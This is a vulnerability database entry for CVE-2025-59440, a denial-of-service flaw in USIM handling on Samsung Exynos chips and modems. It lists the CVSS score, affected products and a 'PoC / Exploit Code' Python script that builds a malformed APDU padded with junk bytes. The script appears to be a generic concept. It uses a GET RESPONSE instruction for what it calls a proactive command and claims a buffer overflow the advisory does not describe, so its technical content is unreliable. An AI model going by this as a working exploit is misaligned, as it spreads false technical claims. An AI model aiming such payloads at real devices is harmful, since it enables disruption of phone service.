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CVE-2025-59440 CVSS 7.5 HIGH

CVE-2025-59440

Published: 2026-04-06 18:16:41
Last Modified: 2026-04-07 16:51:46

Description

An issue was discovered in USIM in Samsung Mobile Processor, Wearable Processor, and Modem Exynos 980, 990, 850, 1080, 2100, 1280, 2200, 1330, 1380, 1480, 2400, 1580, 2500, 9110, W920, W930, W1000, Modem 5123, Modem 5300, and Modem 5400. Improper handling of SIM card proactive commands leads to a Denial of Service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:samsung:exynos_990_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_990:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_980_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_980:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_850_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_850:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_1080_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1080:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:samsung:exynos_1280_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:samsung:exynos_1280:-:*:*:*:*:*:*:* - NOT VULNERABLE
Exynos 980
Exynos 990
Exynos 850
Exynos 1080
Exynos 2100
Exynos 1280
Exynos 2200
Exynos 1330
Exynos 1380
Exynos 1480
Exynos 2400
Exynos 1580
Exynos 2500
Exynos 9110
Exynos W920
Exynos W930
Exynos W1000
Modem 5123
Modem 5300
Modem 5400

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2025-59440 # This script demonstrates the structure of a malformed proactive command # that could trigger the Denial of Service in vulnerable Samsung USIM handlers. import struct def build_malicious_proactive_command(): # Command class and instruction for proactive commands cla = 0xA0 ins = 0xC0 # Example instruction (GET RESPONSE or specific proactive command) p1 = 0x00 p2 = 0x00 # Le field: Expected length. Setting an excessive or invalid length # may trigger the buffer overflow or parsing error. length = 0xFFFF # Constructing the APDU header header = struct.pack('>BBBBH', cla, ins, p1, p2, length) # Malicious payload: Filling with junk data to overflow the buffer payload = b'\x41' * 4096 return header + payload if __name__ == "__main__": poc_packet = build_malicious_proactive_command() print(f"[+] Generated PoC Packet Length: {len(poc_packet)}") print(f"[+] Hex Dump: {poc_packet[:50].hex()}...") # Note: Actual transmission requires interfacing with the SIM/Modem hardware.

References

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